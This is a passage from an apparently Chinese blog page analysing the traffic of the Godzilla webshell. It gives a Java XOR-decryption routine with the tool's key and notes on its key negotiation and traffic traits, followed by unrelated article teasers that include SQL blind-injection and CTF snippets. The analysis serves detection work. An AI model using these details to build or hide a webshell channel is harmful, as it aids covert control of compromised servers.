定义一个密钥,用于后续的异或操作String key = "e45e329feb5d925b";// 对解码后的字节数组进行异或操作,使用密钥的字节for (int i = 0; i < decodebs.length; i++) {// 将解码后的字节与密钥的相应字节进行异或运算decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));}// 返回解密后的字节数组return decodebs;
}
第一阶段-密钥协商
首先tcp连接,然后访问 shell.php
请求响应加密方式一样
对称加密
xor加密
base64加密
1) referer与url目录级数一致
流量特征
哥斯拉
相关文章:
webshell通信流量分析
环境安装 Apatche2 php sudo apt install apache2 -y sudo apt install php libapache2-mod-php php-mysql -y echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/info.php sudo ufw allow Apache Full 如果成功访问info.php,则环境安…...
高效高并发调度架构
以下是从架构层面为你提供的适合多核CPU、多GPU环境下API客户端、服务端高级调度,以实现高效并发大规模与用户交互的技术栈: 通信协议 gRPC:基于HTTP/2协议,具有高性能、低延迟的特点,支持二进制序列化(通…...
MYSQL下载安装及使用
MYSQL官网下载地址:https://downloads.mysql.com/archives/community/ 也可以直接在服务器执行指令下载,但是下载速度比较慢。还是自己下载好拷贝过来比较快。 wget https://dev.mysql.com/get/Downloads/mysql-5.7.38-linux-glibc2.12-x86_64.tar.gz 1…...
Python elasticsearch客户端连接常见问题整理
python 访问 elasticsearch 在python语言中,我们一般使用 pip install elasticsearch 软件包,来访问es服务器。 正确用法 本地安装elasticsearch时,应指定与服务端相同的大版本号: pip install elasticsearch7.17.0然后就可以…...
相得益彰,Mendix AI connector 秒连DeepSeek ,实现研发制造域场景
在当今快速发展的科技领域,低代码一体化平台已成为企业数字化转型的关键工具,同时,大型语言模型(LLM)如 DeepSeek 在自动生成代码和提供智能建议方面表现出色。 Mendix 于近期发布的 GenAI 万能连接器,目前…...
Python PyCharm DeepSeek接入
Python PyCharm DeepSeek接入 创建API key 首先进入DeepSeek官网,https://www.deepseek.com/ 点击左侧“API Keys”,创建API key,输出名称为“AI” 点击“创建",将API key保存,复制在其它地方。 在PyCharm中下…...
pytest测试专题 - 2.1 一种推荐的测试目录结构
<< 返回目录 1 pytest测试专题 - 2.1 一种推荐的测试目录结构 2 pytest 项目目录结构及文件功能 以下是典型 pytest 项目中常见的文件和目录结构及其功能的概述: 2.1 文件/目录结构 文件/目录功能描述test_ 文件* 主测试文件,命名通常以 test_…...
Dify本地安装
目录 方式一docker安装: 方式二源码安装: Dify本地安装可以用docker方式,和源码编译方式。 先到云厂商平台申请一台Centos系统云主机,网络选择海外,需要公网IP,再按一下流程操作: 方式一doc…...
MySQL、MariaDB 和 TDSQL 的区别
MySQL、MariaDB 和 TDSQL 是三种不同的数据库管理系统,它们在设计理念、功能、性能和使用场景上有一些显著的区别。 以下是对这三者的详细比较和介绍。 1. MySQL 概述 类型:关系型数据库管理系统(RDBMS)。开发者:最…...
Java 设计模式之桥接模式
文章目录 Java 设计模式之桥接模式概述UML代码实现 Java 设计模式之桥接模式 概述 桥接模式(Bridge):将抽象部分与它的实现部分分离,使它们都可以独立地变化。通过桥接模式,可以避免类爆炸问题,并提高系统的可扩展性。 UML 核心…...
【Linux】网络基础
目录 一、协议分层 (一)计算机网络 (二)协议分层 (三)OSI模型 (四)TCP/IP协议 二、网络传输过程 三、IP地址和MAC地址 (一)IP地址 (二&a…...
[C++]多态详解
目录 一、多态的概念 二、静态的多态 三、动态的多态 3.1多态的定义 3.2虚函数 四、虚函数的重写(覆盖) 4.1虚函数 4.2三同 4.3两种特殊情况 (1)协变 (2)析构函数的重写 五、C11中的final和over…...
Python常见面试题的详解7
1. 内置的数据结构有哪几种 Python 中有多种内置的数据结构,主要分为以下几种: 1.1 数值类型 整数(int):用于表示整数,没有大小限制。例如:1, -5, 100。浮点数(float)…...
C++ ——构造函数
1、作用:创建对象时,给对象的属性进行初始化 2、特点 (1)构造函数与类同名 (2)如果没有显式给出构造函数,编译器会给出默认的构造函数(参数为空,并且函数体也为空&#…...
PostgreSQL如何关闭自动commit
PostgreSQL如何关闭自动commit 在 PostgreSQL 中,默认情况下,每个 SQL 语句都会自动提交(即 AUTOCOMMIT 是开启的)。如果希望关闭自动提交,以便手动控制事务的提交和回滚,可以通过以下方法实现。 1 使用 …...
HCIA项目实践--静态路由的总结和简单配置
七、静态路由 7.1 路由器获取未知网段的路由信息: (1)静态路由:网络管理员手工配置的路由条目,它不依赖网络拓扑的变化进行自动更新,而是根据管理员预先设定的路径来转发数据包。其优点是配置简单、占用系…...
B站视频同步思维导图(全)
前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家:https://www.captainbed.cn/z 文章目录 前言分段视频一张思维导图版本手写版本联系作者 分段视频 Java基础 并发编程 MySQL redis…...
C++游戏开发流程图
C游戏开发流程图如下: #mermaid-svg-by3hx6H65qEwr5mV {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-by3hx6H65qEwr5mV .error-icon{fill:#552222;}#mermaid-svg-by3hx6H65qEwr5mV .error-text{fill:#5…...
回顾Golang的Channel与Select第二篇
深入掌握Go Channel与Select:从原理到生产级实践 一、Channel基础:不只是数据管道 1.1 通道的完整生命周期(可运行示例) package mainimport ("fmt""time" )func main() {// 创建缓冲通道ch : make(chan i…...
将OpenWrt部署在x86服务器上
正文共:1234 字 40 图,预估阅读时间:2 分钟 如果你问ChatGPT有哪些开源的SD-WAN方案,他会这样答复你: 我们看到,OpenWrt也属于比较知名的开源SD-WAN解决方案。当然,在很久之前,我就发…...
Spring Boot 常用依赖详解:如何选择和使用常用依赖
在Spring Boot项目中,依赖(Dependencies)是项目的核心组成部分。每个依赖都提供了一些特定的功能或工具,帮助我们快速开发应用程序。本文将详细介绍Spring Boot中常用的依赖及其作用,并指导你如何根据项目需求选择合适…...
day51 第十一章:图论part02
99. 岛屿数量 深搜 每一块的上下左右都遍历过了之后,这块陆地就遍历完了。是深搜,不是广搜 深搜:递归 def dfs(): if .....: 终止条件 dfs(子节点) directions [[0,1],[1,0],[0,-1],[-1,0]]def dfs(grid, visited, x, y):if grid[x][y]…...
介绍一下 Octave
已思考完成 收起 好的,我现在要回答用户关于介绍Octave的问题。首先,我需要整理提供的参考内容,看看有哪些关键点需要覆盖。 用户给的参考内容很多,包括知乎文章和网页资料,涵盖了Octave的历史、功能、语法、与MATLAB的…...
垃圾回收器
一、GC分类与性能指标 1.垃圾回收器概述: 垃圾收集器没有在规范中进行过多的规定,可以由不同的厂商、不同版本的JVM来实现。 由于JDK的版本处于高速迭代过程中,因此Java发展至今已经衍生了众多的GC版本。 从不同角度分析垃圾收集器,可以将…...
前端为什么要使用new Promise包裹一个函数
在前端开发中,使用 new Promise 包裹一个函数主要是为了将原本不支持 Promise 规范的操作转化为支持 Promise 规范的操作,从而可以更好地处理异步操作,提升代码的可读性和可维护性。下面详细介绍这么做的常见原因和应用场景: 1. …...
【设计模式】【行为型模式】访问者模式(Visitor)
👋hi,我不是一名外包公司的员工,也不会偷吃茶水间的零食,我的梦想是能写高端CRUD 🔥 2025本人正在沉淀中… 博客更新速度 👍 欢迎点赞、收藏、关注,跟上我的更新节奏 🎵 当你的天空突…...
深入理解 MQTT 协议:物联网通信的核心
目录 一、什么是 MQTT? 二、MQTT 的核心特点 2.1 轻量级 2.2 发布/订阅模式 2.3 可靠传输 2.4 安全性 三、MQTT 协议架构 3.1 核心组件 3.2 通信流程 四、MQTT 协议详解 4.1 消息格式 4.2 消息类型 4.3 QoS 级别 五、MQTT 的应用场景 六、MQTT 的实现 6.1 常用 Bro…...
25/2/16 <算法笔记> MiDas原理
MiDaS(Monocular Depth Sensing)是一种基于单目深度估计的技术,它通过深度学习方法使用单张RGB图像(普通2D图像)来估算场景的深度图(Depth Map)。相比于传统的依赖专用深度传感器(如…...
Ubuntu 下 nginx-1.24.0 源码分析 - ngx_ssl_init 函数
#if (NGX_OPENSSL)ngx_ssl_init(log); #endif objs/ngx_auto_config.h 中 #ifndef NGX_OPENSSL #define NGX_OPENSSL 1 #endif 所以这个条件编译成立 NGX_OPENSSL 是一个宏定义,用于控制与 OpenSSL 相关的功能是否被启用 若用户通过./configure参数(如-…...
时间盲注Boolen盲注之获取表、列、具体数据的函数
时间盲注 时间盲注(Time-Based Blind SQL Injection)是一种利用数据库响应时间的差异来推断数据的SQL注入技术。它的核心原理是通过构造特定的SQL查询,使得数据库在执行查询时产生时间延迟,从而根据延迟的有无来推断数据。 时间…...
人工智能在文化遗产保护中的创新:科技与文化的完美融合
人工智能在文化遗产保护中的创新:科技与文化的完美融合 引言 文化遗产是人类历史的见证,是我们了解过去、感知现在、展望未来的重要宝贵资源。然而,随着时间的流逝,自然灾害、战争、气候变化以及人为因素等,都对文化遗产的保护造成了严峻挑战。传统的文化遗产保护方法虽…...
linux下OSD使用SDL_ttf生成点阵数据,移植+开发代码详解
前言 在做音视频开发的时候,一般会在视频上增加osd水印,时间或者logo之类的,这种水印其实就是由点阵数据构成,本文使用freetypeSDLSDL_ttf生成文字点阵数据,并保存为bmp格式图片。使用这种方式的优点: 方便…...
渗透测试方向的就业前景怎么样?
互联网各领域资料分享专区(不定期更新): Sheet 前言 渗透测试作为网络安全领域的重要分支,近年来就业前景持续向好,尤其在数字化转型加速、安全威胁加剧的背景下,市场需求显著增长。以下是详细分析: 一、市场需求旺盛 …...
SQL Server:查看当前连接数和最大连接数
目录标题 **1. 查看当前连接数****使用系统视图****使用动态管理视图** **2. 查看最大连接数****通过配置选项****通过服务器属性** **3. 查看连接数的实时变化****4. 设置最大连接数****5. 查看连接的详细信息****6. 使用 SQL Server Management Studio (SSMS)****7. 使用 SQL…...
Windows环境搭建ES集群
搭建步骤 下载安装包 下载链接:https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.17.27-windows-x86_64.zip 解压 解压并复制出3份 es-node1配置 config/elasticsearch.yml cluster.name: xixi-es-win node.name: node-1 path.data: D:\\wor…...
【第15章:量子深度学习与未来趋势—15.3 量子深度学习在图像处理、自然语言处理等领域的应用潜力分析】
一、开篇:为什么我们需要关注这场"量子+AI"的世纪联姻? 各位技术爱好者们,今天我们要聊的这个话题,可能是未来十年最值得押注的技术革命——量子深度学习。这不是简单的"1+1=2"的物理叠加,而是一场可能彻底改写AI发展轨迹的范式转移。 想象这样一个…...
DeepSeek与ChatGPT:AI语言模型的全面对决
DeepSeek与ChatGPT:AI语言模型的全面对决 引言:AI 语言模型的时代浪潮一、认识 DeepSeek 与 ChatGPT(一)DeepSeek:国产新星的崛起(二)ChatGPT:AI 界的开拓者 二、DeepSeek 与 ChatGP…...
DeepSeek-V3模型底层架构的核心技术一(多Token预测(MTP)技术)
一、DeepSeek-V3的框架结构 DeepSeek-V3的框架结构基于三大核心技术构建:多头潜在注意力(MLA)、DeepSeekMoE架构和多token预测(MTP)。这些创新使得模型在处理长序列、平衡计算负载以及生成连贯文本方面表现出色。 1. 基础架构 DeepSeek-V3的基础架构仍然基于Transformer框…...
QT c++ QMetaObject::invokeMethod函数 线程给界面发送数据
在项目开发时,常常需要用线程采集数据,如果要给界面发送数据,本文是方法之二,动态调用。 第一步:在界面类里定义一个带Q_INVOKABLE关键字的函数接收信息 第二步:在线程类里,用 QMetaObject::i…...
netcore https配置
一、生成证书 1. 安装 OpenSSL 如果尚未安装 OpenSSL,可以通过以下命令安装:Ubuntu/Debian:sudo apt update sudo apt install openssl CentOS/RHEL:sudo yum install openssl 2. 生成私钥 使用以下命令生成私钥文件(private.key)…...
centos部署open-webui
提示:本文将简要介绍一下在linux下open-webui的安装过程,安装中未使用虚拟环境。 文章目录 一、open-webui是什么?二、安装流程1.openssl升级2.Python3.11安装3.sqlite安装升级4.pip 下载安装open-webui 总结 一、open-webui是什么? Open W…...
sql语言语法的学习
sql通用语法 sql分类 DDL(操作数据库和表) 操作数据库 操作表_查询 操作表_创建 举例: 操作表_删除 操作表_修改 DML(增删改表中数据) DML添加数据 DML删除数据 DML修改数据 DQL 单表查询 基础查询 条件查询 案例演示: 排序查询 聚合函数 分组查询…...
vueDevtools和文档整合(前端常用工具/插件)
3.vueDevtools安装 chrome插件vue-devtools下载地址: https://chrome.zzzmh.cn/info/nhdogjmejiglipccpnnnanhbledajbpd下载完放到chrome的拓展程序中即可,注意点:vue2和vue3下载版本不同,vue2的话使用稍微老点的版本才行。 详细…...
算法刷题--哈希表--字母异位词和两个数组的交集
哈希表概念 哈希表是根据关键码的值而直接进行访问的数据结构。 直白来讲数组就是一种哈希表。 那么哈希表能解决什么问题呢,一般哈希表都是用来快速判断一个元素是否出现集合里。 那么一般都是将一个集合里面的元素映射为哈希表的索引。 那么设计哈希表的时候需要…...
150,[5] BUUCTF WEB [BJDCTF2020]EasySearch
进入靶场 有个文件 和之前一道题如出一辙 <?php// 开启输出缓冲,将后续所有的输出内容先暂存到缓冲区,而不是直接发送到浏览器ob_start();/*** 生成一个基于随机字符串和唯一标识符的哈希值* return string 返回生成的 sha1 哈希值*/function get_…...
kibana es 语法记录 elaticsearch
目录 一、认识elaticsearch 1、什么是正向索引 2、什么是倒排索引 二、概念 1、说明 2、mysql和es的对比 三、mapping属性 1、定义 四、CRUD 1、查看es中有哪些索引库 2、创建索引库 3、修改索引库 4、删除索引库 5、新增文档 6、删除文档 5、条件查询 一、认识…...
以若依移动端版为基础,实现uniapp的flowable流程管理
1.前言 此代码是若依移动端版为基础,实现flowable流程管理,支持H5、APP和微信小程序三端。其中,APP是在安卓在雷电模拟器环境下完成的,其他环境未测试,此文章中所提及的APP均指上述环境。移动端是需要配合若依前后端分…...
SaaS 平台开发要点
如何在 SaaS 平台的前端开发中,编写高性能、高质量且高度通用化的 Vue 组件 一、组件设计原则 单一职责原则:每个组件只负责一个核心功能受控/非受控模式:同时支持 v-model 和自主状态管理组合式 API:使用 Composition API 提升逻辑复用性可访问性:遵循 WAI-ARIA 规范Typ…...
【Kubernetes】k8s 部署指南
1. k8s 入门 1.1 k8s 简介 需要最需要明确的就是:kubernetes(简称 k8s ) 是一个 容器编排平台 ,换句话说就是用来管理容器的,相信学过 Docker 的小伙伴对于容器这个概念并不陌生,打个比方:容器…...
【Linux】进程间关系与守护进程
文章目录 1. 进程组2. 会话2.1 什么是会话2.2 如何创建会话2.3 守护进程 3. 作业控制 1. 进程组 我们运行下面的命令 sleep 10000 | sleep 20000 | sleep 30000然后查看进程的信息: 可以看到,其实每一个进程除了有进程PID、PPID之外,还属于…...